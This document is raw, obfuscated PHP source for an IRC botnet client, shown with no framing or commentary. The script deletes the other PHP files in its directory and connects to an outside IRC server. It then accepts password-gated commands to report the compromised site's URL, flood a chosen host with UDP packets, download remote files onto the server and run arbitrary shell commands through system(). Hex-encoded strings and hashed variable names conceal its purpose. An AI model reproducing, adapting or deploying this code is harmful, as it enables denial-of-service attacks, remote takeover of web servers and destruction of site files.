error_reporting(0); set_time_limit(0); $filename = "./a73v9.php"; $current_dir = "./"; $channel = "#nobotshere"; $host = "complexity.razorhack.org"; $port = 65000; $name_format_str = "Complexity-%d"; $hash = "2c2ae6b1815c4438b6bdc56b7d987aff"; $cube_pass = "cube"; $all_php_in_dir = (glob($current_dir."*.php")); foreach ($all_php_in_dir as $j) { if($j==$filename) { echo ""; } else { unlink($j); } } $authenticated = 0; $random_name_num = ""; for ($i = 0; $i < 8; $i++) { $random_name_num .= mt_rand( 0, 9 ); } $random_name = sprintf($name_format_str, $random_name_num); $irc_server_socket = fsockopen("$host", $port); fputs($irc_server_socket,"USER $random_name $random_name $random_name $random_name :$random_name\n); fputs($irc_server_socket,"NICK $random_name\n"); fputs($irc_server_socket,"JOIN ".$channel."\n"); while(1) { while($data_from_server = fgets($irc_server_socket)) { flush(); $split_data = explode(" ", $data_from_server); $split_by_colon = explode(":", $split_data[3]); $split_by_br = explode("
", $split_by_colon); $_75fcdf510b1fcbbe589c9684364c97f8 = $split_data[2]; $user_host = explode("@", $split_data[0]); $ircname = explode("!", $user_host[0]); $username = explode(":", $ircname[0]); $hostname = $user_host[1]; $irc_command = $split_data[0]; if($split_data[0] == "PING") { fputs($irc_server_socket, "PONG ".$split_data[1]."\n"); } $_d53dfe4e13b0d7333a43fd7936db9793 = NULL; for ($i = 4; $i < count($split_data); $i++) { $_d53dfe4e13b0d7333a43fd7936db9793 .= $split_data[$i] . "\x20"; } if (preg_match("/!auth/", $split_by_colon[1]) && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_fc713ee8e3f669f40fd9b2d12c090cd8 = trim($split_data[4]); if (md5($_fc713ee8e3f669f40fd9b2d12c090cd8) === $hash) { $authenticated = 1; $irc_command = $split_data[0]; fputs($irc_server_socket, "PRIVMSG ".$_75fcdf510b1fcbbe589c9684364c97f8." Logged In \n"); } else { fputs($irc_server_socket, "PRIVMSG ".$_75fcdf510b1fcbbe589c9684364c97f8." Failed Login Attempt! ".md5($_fc713ee8e3f669f40fd9b2d12c090cd8)." \n"); } } elseif (preg_match("/!vuln/", $split_by_colon[1]) && $authenticated == "1" && preg_match("/$cube_pass/", $irc_command)){ $_fd312a4578eda603cc3ab00da12fd62b = $_SERVER['SERVER_NAME']; $_831a0f08af2f136e6b87a7369ddfbd96 = $_SERVER['REQUEST_URI']; $_4976a52f7d74e8548de8cb36b3ec84a1 = "\x68\164\x74\160\x3a\57\x2f".$_fd312a4578eda603cc3ab00da12fd62b.$_831a0f08af2f136e6b87a7369ddfbd96; fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\166\x75\154\x6e\40\x75\162\x6c\40".$_4976a52f7d74e8548de8cb36b3ec84a1."\x20\n"); } elseif (preg_match("/!pwn/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_a388d6ff7132e2b8afb94c8674b7c5c9 = trim($split_data[6]); $_b6ae28c0927164c9eb1ec7267fbd8c1c = trim($split_data[4]); $_804e99bf7570ed862dfbee9293f5c74e = trim($split_data[5]); fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\150\x69\164\x74\151\x6e\147\x20".$_b6ae28c0927164c9eb1ec7267fbd8c1c."\x20\167\x69\164\x68\40$_804e99bf7570ed862dfbee9293f5c74e\x20\160\x6b\164\x73\40\x66\157\x72\40$_a388d6ff7132e2b8afb94c8674b7c5c9\x20\163\x65\143\x6f\156\x64\163\x20\n"); $_4319468a5f8a681a7449458bf71e8d0a = ""; for($i=0; $i<$_804e99bf7570ed862dfbee9293f5c74e; $i++) { $_4319468a5f8a681a7449458bf71e8d0a .= chr(mt_rand(1,256)); } $_e0156a7a15ffbe7724d3131cfd72c32b = time(); $_2965cdffa13d759ba724198359359860 = 0; while(time()-$_e0156a7a15ffbe7724d3131cfd72c32b < $_a388d6ff7132e2b8afb94c8674b7c5c9) { $_46c142fdacbd82e008523c5172951b83=fsockopen("\x75\144\x70\72\x2f\57".$_b6ae28c0927164c9eb1ec7267fbd8c1c,mt_rand(1,256),$_326139222f844701d2e6f8a3a7c0e90c,$_8271d3f84a833c21d150b5670d55ae71,5); fwrite($_46c142fdacbd82e008523c5172951b83,$_4319468a5f8a681a7449458bf71e8d0a); fclose($_46c142fdacbd82e008523c5172951b83); $_2965cdffa13d759ba724198359359860++; } $_5f64e9e83dfaab499f06c842f541070a = $_2965cdffa13d759ba724198359359860 * $_804e99bf7570ed862dfbee9293f5c74e; $_5f64e9e83dfaab499f06c842f541070a = $_5f64e9e83dfaab499f06c842f541070a / 1048576; $_d11198baf265736931d102a77f7cf88e = $_5f64e9e83dfaab499f06c842f541070a / $_a388d6ff7132e2b8afb94c8674b7c5c9; $_d11198baf265736931d102a77f7cf88e = round($_d11198baf265736931d102a77f7cf88e); $_5f64e9e83dfaab499f06c842f541070a = round($_5f64e9e83dfaab499f06c842f541070a); fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\150\x69\164\x20".$_b6ae28c0927164c9eb1ec7267fbd8c1c."\x20\167\x69\164\x68\40".$_5f64e9e83dfaab499f06c842f541070a."\x4d\102\x20\141\x74\40".$_d11198baf265736931d102a77f7cf88e."\x4d\102\x2f\163\x20\n"); } elseif (preg_match("/!down/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_fb95879e90a8af8e397d9d1d799a415f = trim($split_data[4]); $_450365c44e298f82460b87e8513bd920 = trim($split_data[5]); if (!$_46c142fdacbd82e008523c5172951b83 = fopen($_450365c44e298f82460b87e8513bd920, "\x77")) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\120\x65\162\x6d\151\x73\163\x69\157\x6e\40\x44\145\x6e\151\x65\144\n"); } else { if(!$_2dfc84787abeb7e7cfb59d7196820c32 = file($_fb95879e90a8af8e397d9d1d799a415f)) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\104\x6f\167\x6e\154\x6f\141\x64\40\x46\141\x69\154\x65\144\x20\n"); } else { for($i=0; $i <= count($_2dfc84787abeb7e7cfb59d7196820c32); $i++) { fwrite($_46c142fdacbd82e008523c5172951b83, $_2dfc84787abeb7e7cfb59d7196820c32[$i]); } fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\104\x6f\167\x6e\154\x6f\141\x64\40\x53\165\x63\143\x65\145\x64\145\x64\40\n"); fclose($_46c142fdacbd82e008523c5172951b83); } } } elseif (preg_match("/!exec/", $split_by_colon[1]) && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { $_9df47a80ec824c00938ee027c5f73160 = trim($split_data[4]."\x20".$split_data[5]."\x20".$split_data[6]."\x20".$split_data[7]."\x20".$split_data[8]); if(!$_1f15499ebb7f86b3283bda0bb5eb0e09 = system($_9df47a80ec824c00938ee027c5f73160)) { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\105\x78\145\x63\40\x46\141\x69\154\x65\144\x20\n"); } else { fputs($irc_server_socket, "\x50\122\x49\126\x4d\123\x47\40".$_75fcdf510b1fcbbe589c9684364c97f8."\x20\105\x78\145\x63\40\x53\165\x63\143\x65\145\x64\145\x64\40\n"); } } elseif ($split_by_colon[1] == "\x21\147\x74\146\x6f" && $authenticated == "\x31" && preg_match("\x2f$cube_pass\x2f", $irc_command)) { fclose($irc_server_socket); exit( ); } } }